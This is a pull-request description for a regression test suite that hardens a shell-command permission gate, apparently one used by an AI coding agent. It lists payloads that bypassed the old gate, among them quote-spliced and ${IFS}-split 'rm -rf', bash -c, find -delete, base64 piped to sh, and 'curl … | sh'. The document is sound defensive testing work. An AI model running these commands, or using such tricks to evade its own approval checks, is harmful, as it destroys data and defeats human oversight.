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test(permission): regression suite for shell-word gate bypasses (companion to #596) - #597
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The bash permission gate matched raw substrings, so quote splicing (`r''m`),
${IFS} splitting, $'...' quoting, backslash escapes, `find -delete`, and
pipe-to-shell bypassed both the deny list and the destructive-command rule and
executed for real with no approval prompt.
Replace the substring gate with a shared parser that tokenizes the command into
shell words (normalising ${IFS}, ${VAR}, $'...' and $VAR before lexing),
splits it into pipeline segments, resolves argv[0] to its basename, and denies
by command name plus argv inspection. Interpreters (`bash -c`, pipe-to-shell),
`find -delete`, and delegating commands (xargs/env/...) are inspected through
to their payloads, redirects to sensitive paths require approval, and
unparseable quoting fails closed.
Applied to s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17.
Updates the s11 background-tasks test, which previously passed only because the
substring gate matched `rm -rf /` inside `rm -rf /tmp/example`.
Adds tests/test_permission_gate_bypass.py, which drives the real gate functions
of every affected chapter with the reproduction payloads from the scan finding
(quote splicing, ${IFS}, $'...', backslash escapes, bash -c, find -delete,
pipe-to-shell, xargs) and asserts they are classified as destructive, while
ordinary commands are not flagged.
Companion to the shell-word parsed-gate fix (this branch is stacked on it); the
bypass cases fail against the previous substring gate.
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Summary
Companion to #596. Adds a dedicated regression suite that locks the shell-word permission gate against the bypass payloads from the scan finding.
tests/test_permission_gate_bypass.pyParameterised across every affected chapter (s03, s04, s05, s06, s07, s08, s09, s10, s11, s12, s13, s14, s15, s17) — 224 cases total.
Bypass payloads — must be classified destructive:
r''m -rf scratchr"m" -rf scratchrm${IFS}-rf scratch${IFS}field splitting$'r''m' -rf scratchr\m -rf scratchbash -c 'rm${IFS}-rf scratch'-cpayloadfind scratch -deleteecho ZGF0YQ== | base64 -d | shcurl -s http://…/x.sh | shxargs rm -rf scratchSafe commands — must stay clean:
model list,delimiter file.txt,echo del file.txt,echo; delimiter file.txt,git status,ls -la.Result
These cases fail against the previous substring gate (it returned
Nonefor every bypass payload), so the suite guards the fix against regression.Scan ID:
cmv8cwn0900cemx01mergtg71· Finding ID:cmv8oj8fz00lbmx01oudlt68k